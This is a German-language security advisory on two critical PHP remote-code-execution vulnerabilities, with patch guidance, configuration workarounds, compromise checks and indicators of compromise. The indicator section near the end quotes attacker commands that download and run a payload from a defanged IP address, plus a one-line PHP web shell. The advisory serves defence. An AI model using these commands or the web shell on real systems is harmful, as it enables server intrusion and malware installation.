Kategorie: Themen

CVE-2026-109618 & CVE-2026-109619 (CVSS 4.0: 9.2, CRITICAL)

Stand: 23. Oktober 2026, 15:29 Uhr

Die Unternehmen Calif, OpenAI und Wiz haben kritische Sicherheitslücken in PHP entdeckt, die Angreifenden die Ausführung beliebiger Befehle auf jedem Server (Remote-Code-Execution) ermöglichen, auf dem PHP läuft.¹

Betroffen sind alle Versionen ab einschließlich PHP 5 (also PHP 5, 7 und 8). Gefährdet sind alle PHP-Installationen, die Webanfragen bearbeiten, darunter PHP-FPM, Apache mit mod_php, php-cgi, FrankenPHP und LiteSpeed.

Die Schwachstellen werden als CVE-2026-109618² und CVE-2026-109619³ geführt und sind jeweils mit einem CVSS-v4.0-Score von 9.2 bewertet.

Offizielle Patches wurden für die Versionen PHP 8.2, 8.3, 8.4 und 8.5 am 21. Oktober 2026 gegen 16 Uhr (CEST) bereitgestellt. Für die älteren Versionen 7.4, 8.0 und 8.1 gibt es minimale Backports. Allerdings wird dringend geraten auf eine unterstützte Version zu aktualisieren, idealerweise PHP 8.3 oder neuer. Die Verteilung der Patches in Linux-Distributionen erfolgte zeitnah – Patches für Appliances waren später verfügbar (bzw. sind es immer noch nicht).

Technische Details

Die Schwachstelle CVE-2026-109618 betrifft die Speicherverwaltung von PHP. Wird das Speicherlimit erreicht, kann PHP unter bestimmten Vorbedingungen und beim Upload eines präparierten Formulars auf bereits freigegebenen Speicher zugreifen. Angreifende können so Speicher auslesen und manipulieren und Schadcode im Nutzerkontext des Webservers ausführen.

Die zweite Schwachstelle CVE-2026-109619 betrifft die Fehlerbehandlung in PHP. Hier können Angreifende unter ähnlichen Vorbedingungen wie bereits bei der ersten Schwachstelle mit mindestens zwei HTTP-Anfragen einen instabilen Zustand in der Fehlerbehandlung erzeugen und diesen anschließend ausnutzen.

Die Anfragen für die Ausnutzung beider Schwachstellen benötigen mitunter mehrere Tausend Anfragen für einen erfolgreichen Versuch.⁴

​Betroffenheitsanalyse

​Zuerst sollte zusammengestellt werden, welche Systeme überhaupt betroffen sind bzw. betroffen sein könnten.

• ​Vollständige Inventarisierung aller Systeme und Anwendungen, die PHP verwenden. Das betrifft auch virtuelle Maschinen, Container-Images, Drittanbieter-Software, Managed Services, sowie vernetzte Geräte mit Weboberflächen⁵ wie bspw. Firewalls und NAS-Systeme.
• Ermittlung und Dokumentation der verwendeten exakten PHP-Versionen.
• Priorisierung derjenigen Instanzen, die aus dem Internet oder öffentlichen Netzen erreichbar sind.
• Triage der Instanzen hinsichtlich der Möglichkeit eines zeitnahen Patches. Nicht warten bis alle „wichtigen“ Systeme einen Patch verfügbar haben, sondern bei noch ausstehender Bereitstellung alles Weitere in der Liste patchen, sobald Patches verfügbar sind.

Mitigationsmaßnahmen

Für aktualisierbare Dienste

Zur vollständigen Schließung der Schwachstellen ist ein zeitnahes Einspielen der Patches unumgänglich. Dabei sollte wie folgt vorgegangen werden:

• Durchführung von Update-Tests in einer Staging-Umgebung, sofern zeitnah umsetzbar.
• Zeitnahes Einspielen der offiziellen PHP-Sicherheitsupdates (ab 8.2.35, 8.3.36, 8.4.27 und 8.5.12).
• Neustart der betroffenen Dienste.
• Verifizierung der aktualisierten Versionsnummern auf allen Instanzen.
• Kontrolle der Systeme auf ihre Integrität und Anzeichen einer Kompromittierung (siehe dazu den Abschnitt „Compromise Assessment“).

Für nicht-aktualisierbare Dienste (Workarounds)

Neben der Umsetzung von Maßnahmen zur Mitigation der Schwachstellen, sollte sich zudem auch bereits auf eine Installation der Patches organisatorisch vorbereitet werden. Dazu zählen die Erfassung von Systemen und Anwendungen, die PHP verwenden (siehe Abschnitt „Betroffenheitsanalyse“), aber auch die Einplanung und Bereitstellung von entsprechenden Ressourcen.

Falls die betroffenen Dienste oder Geräte nicht betriebsnotwendig, aber aus öffentlichen Netzen erreichbar sind, sollten diese nach Möglichkeit über die Firewall isoliert oder sogar abgeschaltet werden.

Die folgenden Maßnahmen können alternativ als temporärer Workaround verwendet werden, falls ein Einspielen der Patches nicht zeitnah umsetzbar und eine Isolierung bzw. Abschaltung nicht möglich ist. Die Maßnahmen können negative Auswirkungen auf Geschwindigkeit oder Funktionalität von PHP haben und ersetzen keinesfalls eine zeitnahe Aktualisierung auf die Patch-Versionen, insbesondere stellen sie keinen umfassenden Schutz gegen die Schwachstellen dar.

Für CVE-2026-109618:

• memory_limit=-1 so setzen, dass der Wert nicht von Anwendungen überschrieben werden kann (z. B. über php_admin_value). Außerdem sicherstellen, dass Pool-, Verzeichnis- oder Anwendungseinstellungen den Wert nicht wieder zurücksetzen. Diese Einstellung behebt den Fehler am Speicherlimit, andere Fehler bei der Speicherreservierung können aber weiterhin ausgenutzt werden.
• post_max_size auf einen niedrigen Wert setzen, idealerweise auf ein Viertel des Speicherlimits. Für Anwendungen, die keinen Dateiupload benötigen, sollte der Wert auf 8M gesetzt werden. Für Anwendungen mit Dateiuploads auf 32M. Der Wert von upload_max_filesize sollte kleiner als post_max_size sein. Auf Webserver- oder Proxy-Ebene sollen die folgenden Eigenschaften von Anfragen über ein Limit beschränkt werden: dekodierte Anfragegröße (decoded request size), Zahl der Eingabefelder (input field count), Multipart- und Header-Teile (multipart part count und header count), sowie die Verschachtelungstiefe (nesting depth). Diese Limits sollten auch für Anfragen ohne Content-Length Header gelten.
• max_input_nesting_level=8 setzen, falls die Anwendung es erlaubt. Diese Einstellung gehört in php.ini, FPM-Pool oder eine Serverkonfiguration, die vor Verarbeitung einer Anfrage greift. ini_set() oder FPM .user.ini sind nicht ausreichend.
• Ein Container- oder cgroup-Limit als Verfügbarkeitsgrenze nutzen, idealerweise mit einer Richtlinie, die nur den betroffenen Worker beendet. Nicht durch RLIMIT_AS oder RLIMIT_DATA ersetzen, da diese selbst den Fehler bei der Speicherreservierung auslösen können.

Für CVE-2026-109619:

• session.upload-progress.enabled=0 setzen und jeden Worker neustarten. Diese Einstellung gehört in php.ini, FPM-Pool oder eine Serverkonfiguration, die vor Verarbeitung einer Anfrage greift. ini_set() oder FPM .user.ini sind nicht ausreichend. Das blockiert die bekannten Angriffswege über Sessions, aber keine anderen Varianten.
• Für PHP 8.5, fatal_error_backtraces=0 setzen und jeden Worker neustarten. Das blockiert ausschließlich den bekannten Angriffsweg über Backtraces.
• Ungültige oder veraltete Einstellungen entfernen, die pro Anfrage gesetzt werden und schon vor der Initialisierung Meldungen ausgeben. Die Meldungen per error_reporting, display_errors oder @ auszublenden, hilft nicht.
• Fatale Fehler und Execution Timeouts beheben, die Angreifende auslösen können, auch in Callbacks, bei Uploads, Importen und beim Cleanup.
• Für PHP-FPM, pm.max_requests auf einen niedrigen Wert setzen, sodass Worker regelmäßig ersetzt werden. Das verkürzt die Zeit, in der ein veralteter Zustand in einem Worker bestehen bleiben kann. Ein Angriff, der innerhalb der Lebensdauer eines einzelnen Workers abläuft, wird dadurch nicht verhindert. Zudem erhöhen sehr niedrige Werte den Aufwand durch häufige Prozessneustarts.

Für beide Schwachstellen:

• Verwendung von SELinux oder AppArmor zur Limitierung von Aktionen bei einer erfolgreichen Ausnutzung der Schwachstellen.
• expose_php=0 setzen, um das Vorhandensein von PHP zu verschleiern. Dies verhindert allerdings keine Ausnutzung der Schwachstellen.

Nach einem erfolgreichen Einspielen der Patches können diese temporären Workarounds wieder weitestgehend zurückgenommen werden.

Sonstige Maßnahmen

Trotz Bereitstellung von Patches zur Schließung der Schwachstellen, sollten weiterhin die Nachrichten der Hersteller (von Distributionen, Anwendungen, Appliances, etc.) zur Beobachtung der aktuellen Entwicklung verfolgt werden, da es zu Anschlussfunden kommen könnte. Wir beobachten die Lage weiterhin laufend und aktualisieren diesen Artikel gegebenenfalls.

Zusätzlich empfiehlt sich die Beachtung folgender weiterer Maßnahmen:

• Migration von alten PHP-Versionen und EOL-Versionen auf eine aktuell unterstützte Version (idealerweise PHP 8.3 oder höher; PHP 8.2 wird nur noch bis Ende 2026 unterstützt).
• Beibehalten der Zugriffsbeschränkungen auf Hochrisiko-Webinterfaces (Firewalls, Router, etc.). Diese sollten weiterhin nur von sehr wenigen, einzeln benannten IP-Adressen aus erreichbar sein.

Compromise Assessment

Es gibt Anzeichen dafür, dass vor Veröffentlichung der Schwachstellen und der Patches, bereits aktiv versucht wurde die Sicherheitslücken auszunutzen.⁶ Erste Ausnutzungsversuche lassen sich bis zum 17. Oktober 2026 zurückverfolgen.⁷

Daher kann auch bei einem zeitnahen Einspielen der Patches sowie bereits zuvor getroffenen Sofortmaßnahmen zur temporären Behebung nicht ausgeschlossen werden, dass die Schwachstellen bereits ausgenutzt wurden.

Aufgrund der Art der Schwachstellen werden bei einem erfolgreichen Angriff nur wenig Hinweise auf eine Kompromittierung zurückgelassen. Dennoch sollten zur Feststellung von Ausnutzungsversuchen die folgenden Indikatoren herangezogen werden:

• Angreifende erhalten bei erfolgreicher Ausnutzung die Rechte des Nutzers des PHP-Prozessors, also des Webservers oder des PHP-FPM. Meistens sind das die Nutzer http, www-data, www, o.ä. – manchmal aber auch root.
• Suche nach ungewöhnlichen oder vor kurzem geänderten Dateien im Home-Verzeichnis des Nutzers.
• Prüfung der ausgeführten Befehle in .history und .bash_history im Home-Verzeichnis des Nutzers.
• Den Webserver-Bereich auf PHP-Dateien prüfen, die seit dem 17. Oktober 2026 angelegt oder modifiziert wurden.
• Die journald-Ausgaben sowie error.log der Webserver auf ungewöhnliche Fehlermeldungen prüfen. Insbesondere solche, die Speicherfehler (z. B. „Memory exhausted“) melden.
  • Allowed memory size of ... exhausted
  • Unknown on line 0
  • Failed to decode session object
• Prüfung der Prozessliste auf ungewöhnliche Child-Prozesse vom Webserver oder von PHP-Prozessen.
• Prüfung auf ungewöhnliche Listener-Ports (mit netstat -tlpn oder ss -tlpn).

Indicators of Compromise

Die folgenden Indicators of Compromise (IoCs) wurden außerdem durch die genannten Unternehmen veröffentlicht. IoCs können in den Listen mehrmals vorkommen, sofern diese von mehreren Anbieten geführt werden. Die IP-Adressen sind teilweise gemeinsam genutzten Anonymisierungsdiensten zuzuordnen und deshalb nicht ausschließlich ein Indikator für einen versuchten bzw. erfolgreichen Angriff. Die Domains und IP-Adressen können schadhaften Inhalt enthalten und sollten deshalb nicht direkt im Browser geöffnet werden.

Amazon Web Services (AWS) bzw. Amazon Threat Intelligence⁸:

• IP-Adressen:
  • 103[.]216[.]220[.]92 (entdeckt am 17. Oktober 2026)
  • 31[.]223[.]184[.]166 (21. Oktober 2026)
  • 37[.]19[.]200[.]5 (21. Oktober 2026)
  • 134[.]209[.]159[.]64 (21. Oktober 2026)
  • 103[.]114[.]163[.]188 (21. Oktober 2026)
  • 95[.]217[.]98[.]37 (21. Oktober 2026)

Arctic Wolf⁹:

• IP-Adressen:
  • 92[.]118[.]112[.]100
• Domains:
  • thunder[.]godofthunder[.]st
  • hackattackkaboom[.]botlesscucks[.]st
• Befehle:
  • echo PHP2SHELL_CONFIRMED;cd /tmp; wget hxxp://92[.]118[.]112[.]100/nfs-setup
  • system.uname -a; id; echo REDACTED OFFENSIVE;wget hxxp://92[.]118[.]112[.]100/REDACTED OFFENSIVE;
• User-Agents:
  • php2shell-scan/109618
• Plaintext:
  • B7kQpoc618
• Malware-Familie:
  • Potassium Botnet

Sophos¹⁰:

• IP-Adressen:
  • 134[.]199[.]154[.]64
  • 117[.]55[.]202[.]115
  • 45[.]198[.]224[.]169
  • 92[.]118[.]112[.]100
• Domains:
  • hackattackkaboom[.]botlesscucks[.]st
  • hik[.]gettingheadfromduckysmom[.]st
  • thunder[.]godofthunder[.]st
• URLs:
  • hxxp://92[.]118[.]112[.]100/nfs
• Hashes:
  • b61a098fc62a2c2696e196dca78da71a (MD5)
  • c472dab4ff7c16782a8037f988d4daa6d4bdb343 (SHA1)
  • 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486 (SHA256)
• Pfade:
  • /tmp/nfs
• Befehle:
  • ./nfs php
• User-Agents:
  • php2shell-scan/109618
• Plaintext:
  • B7kQpoc618

VulnCheck¹¹:

• IP-Adressen:
  • 85[.]11[.]167[.]243
  • 45[.]198[.]224[.]169
  • 109[.]71[.]252[.]97
  • 221[.]14[.]159[.]134
  • 91[.]90[.]123[.]25
• Befehle:
  • <?php echo 'PWNED::'; system($_GET['c']); ?>
• User-Agents:
  • php2shell-scan/109618
  • php2shell-scan/1.3 (eigen-oppervlak controle; CVE-2026-109618/109619)
  • php2shell-verify/1.0
  • Mozilla/5.0 (php2shell-poc)

---

1. PHP. Security advisory: Critical remote code execution vulnerabilities, update now. https://www.php.net/archive/2026.php#2026-10-21-5 ↩︎
2. PHP (über GitHub). RCE via OOM corruption. https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w ↩︎
3. PHP (über GitHub). RCE via stale global state. https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp ↩︎
4. Heise (Dr. Christopher Kunz). php2shell: Kritische Sicherheitslücken erlauben Codeeinschleusung in PHP. https://www.heise.de/news/php2shell-Kritische-Sicherheitsluecken-erlauben-Codeeinschleusung-in-PHP-11492938.html ↩︎
5. Siehe Fußnote 4. ↩︎
6. Arctic Wolf. PHP2Shell: Critical PHP Vulnerabilities Enable Unauthenticated Remote Code Execution. https://arcticwolf.com/resources/blog/php2shell-critical-php-vulnerabilities-enable-unauthenticated-remote-code-execution/ ↩︎
7. Amazon Web Services (CJ Moses). Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot. https://aws.amazon.com/de/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ ↩︎
8. Siehe Fußnote 7. ↩︎
9. Siehe Fußnote 6. ↩︎
10. Sophos. Proof-of-concept exploit released for PHP vulnerabilities (CVE-2026-109618, CVE-2026-109619). https://www.sophos.com/en-us/blog/proof-of-concept-exploit-released-for-php-vulnerabilities-109618-109619 ↩︎
11. VulnCheck. PHP2Shell Vulnerabilities: CVE-2026-109618 and CVE-2026-109619. https://www.vulncheck.com/blog/php2shell-vulnerabilities ↩︎